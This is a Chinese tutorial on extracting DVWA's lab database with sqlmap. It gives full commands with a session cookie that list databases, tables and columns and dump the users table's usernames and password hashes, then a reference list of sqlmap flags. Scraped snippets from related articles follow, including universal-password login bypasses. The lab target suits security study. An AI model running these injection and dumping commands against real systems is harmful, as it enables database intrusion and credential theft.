记一次初级dvwa爆库

一 前期准备

1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可

https://www.python.org/

2 安装python2.7,默认即可。安装完成后需要配置下环境变量。右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:\Python27“;”必须要有,如果有其他python,可以删掉。这是我的安装路径。

3 按windows+R,输入cmd打开dos界面,输入python进行测试python是否安装成功。

返回python版本号,安装成功

4 下载sqlmap,可以到我的百度云下载:http://pan.baidu.com/s/1skPClzR 密码:ndpj。

解压后,改名为sqlmap,放到磁盘中

5 打开cmd,切换到sqlmap对应磁盘

6 至此,sqlmap安装完毕

二 开始爆库

1 将dvwa安全级别设置为low,采用的是cookie注入。点击sql注入,使用burpsuite抓包拿cookie

2 url和cookie都需要使用,打开刚才开的cmd,键入

Sqlmap.py -u “http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1” --risk 3 --level 5 ,中途出现选择项直接回车

3  明显看到有mysql数据库,先将数据库显示出来sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" --dbs

4 可以看到有几个数据库,然后选择dvwa数据库,列表名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa --tables

5 出现两个表名,肯定有用的是users表名,然后暴列名

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users --columns

6 看到了很多列名,最有用的当然是用户和密码了,导出用户和密码

sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie "security=low; PHPSESSID=skpm1rrqt637a4m1kukjnjkkr1" -D dvwa -T users -C user,password,user_id --dump

7 好了至此完毕,接下来是sqlmap的命令解释大全

-u #注入点

-g 谷歌搜索

-f #指纹判别数据库类型

-b #获取数据库版本信息

-p #指定可测试的参数(?page=1&id=2 -p “page,id”)

-D “” #指定数据库名

-T “” #指定表名

-C “” #指定字段

-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)

–columns #列出字段

–current-user #获取当前用户名称

–current-db #获取当前数据库名称

–users #列数据库所有用户

–passwords #数据库用户所有密码

–privileges #查看用户权限(–privileges -U root)

-U #指定数据库用户

–dbs #列出所有数据库

–tables -D “” #列出指定数据库中的表

–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段

–dump-all #列出所有数据库所有表

–exclude-sysdbs #只列出用户自己新建的数据库和表

–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)

–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据

–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)

–os #指定系统(Linux,Windows)

--sql -shell 写shell

--delay 延迟的时间

--safe-freq 次数

-v #详细的等级(0-6)

0:只显示Python的回溯,错误和关键消息。

1:显示信息和警告消息。

2:显示调试消息。

3:有效载荷注入。

4:显示HTTP请求。

5:显示HTTP响应头。

6:显示HTTP响应页面的内容

–privileges #查看权限

–is-dba #是否是数据库管理员

–roles #枚举数据库用户角色

–udf-inject #导入用户自定义函数(获取系统权限)

–union-check #是否支持union 注入

–union-cols #union 查询表记录

–union-test #union 语句测试

–union-use #采用union 注入

–union-tech orderby #union配合order by

时间: 2024-11-05 18:47:49

记一次初级dvwa爆库的相关文章

记一次dvwa sql注入爆库

一 前期准备 1 sqlmap在windows环境下需要python2.7的支持,在python官网下载即可 https://www.python.org/ 2 安装python2.7,默认即可.安装完成后需要配置下环境变量.右击计算机->高级系统设置->环境变量,找到系统变量的Path选项,双击,在最后添加;C:\Python27":"必须要有,如果有其他python,可以删掉.这是我的安装路径. 3 按windows+R,输入cmd打开dos界面,输入python进行测

如何利用sql注入进行爆库

SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所有记录,但无法获取其它表的内容,事实果真的如此? 正像小偷从窗户爬进入房间,难道他只能在房间内偷东西?非也,他可以将整个房子洗劫一空. 不相信?那来看看如何对MySQL进行爆库. 如何将MySQL数据库连根拔起 如果作为一名黑客,根本无法知道系统中有哪些表,表中有哪些字段,那如何将数据库的内容窃取出来呢? 答

Mysql 通过information_schema爆库,爆表,爆字段

MySQL版本大于5.0时,有个默认数据库information_schema,里面存放着所有数据库的信息(比如表名. 列名.对应权限等),通过这个数据库,我们就可以跨库查询,爆表爆列. 若要从这些视图中检索信息,请指定完全合格的 INFORMATION_SCHEMA view_name 名称. 列名 数据类型 描述 TABLE_CATALOG nvarchar(128) 表限定符. TABLE_SCHEMA nvarchar(128) 表所有者. TABLE_NAME nvarchar(128

记一次python安装PIL库所遇到的事

自学python,要用到PIL这个很出名的库,那就安装呗 大家都知道python下,用easy_install命令安装特简单,命令如下: 好吧,这样我们安装完了,我们再去%PYTHON_HOME%\Lib\site-packages文件夹下看看是否已经有对用的库文件了 好的,如上图所示,也已经有了,对了,上面的PIL包是我另外安装的,如果你只是用easy_install命令安装的话,site-packages文件夹下面是不会有PIL这个文件夹的, 而PIL文件夹是我从网下载的安装程序,地址是ht

记boost在gcc的一个库链接问题generic_category()

报错大致如下: main.cpp:(.text+0x49): undefined reference to `boost::system::generic_category()'main.cpp:(.text+0x53): undefined reference to `boost::system::generic_category()'main.cpp:(.text+0x5d): undefined reference to `boost::system::system_category()'

永远也记不住linux环境变量,库文件,头文件...

1)安装cp node-v4.9.1-linux-armv7l.tar.gz /usr/local/cd /usr/local/tar xvf node-v4.9.1-linux-armv7l.tar.gz 2)添加环境变量 export PATH=$PATH:/usr/local/node-v4.9.1-linux-armv7l/binexport LD_LIBRARY_PATH=/usr/local/node-v4.9.1-linux-armv7l/lib:$LD_LIBRARY_PATH

网站入侵思路(初级黑客渗透篇) 作者:80

网站入侵思路(初级黑客渗透篇)           作者:80 1,〓经典注入〓 通常,判断一个网站是否存在注入点,可以用',and 1=1 ,and 1=2,+and+1=1,+and+1=2,%20and%201=1,%20and%201=2,来判断,如果and 1=1正常返回页面,1=2错误,或者找不到,那么就存在注入点 2,〓万能密码OR漏洞〓 万能密码'or'='or',可以用在后台管理输入,有的网站由于没有过滤OR漏洞,输入OR直接就可以突破,一般漏洞存在于ASP类型的网站 3,〓爆

DVWA下的盲注&lt;SQLmap工具注入&gt;

LOW难度!!! 所需工具: DVWA环境.抓包工具.sqlmap 抓包工具用fiddler为例. ===================================== 先进入DVWA调整模式为LOW 打开抓包工具,确定可以抓到http流量包 DVWA下选择SQL盲注,随意输入一个USER ID后回车 会看到回显,用户ID存在 复制该网页链接,保存到记事本,等下sqlmap用 用抓包工具获取本次提交的网页数据包里的cookie值 复制该cookie保存到记事本,等下sqlmap用 打开sq

南京都昌科技电子病历模板库清单

2015年1月30号南京都昌科技电子病历模板库有1074个模板文件,清单如下,有意购买者请致电13382028281南京都昌科技市场部刘经理. 文档模板库\SG\南京都昌科技2_24小时内入出院记录.xml文档模板库\SG\南京都昌科技2_24小时内入院死亡记录.xml文档模板库\SG\南京都昌科技2_上级查房记录.xml文档模板库\SG\南京都昌科技2_会诊记录.xml文档模板库\SG\南京都昌科技2_入院记录.xml文档模板库\SG\南京都昌科技2_出院记录.xml文档模板库\SG\南京都昌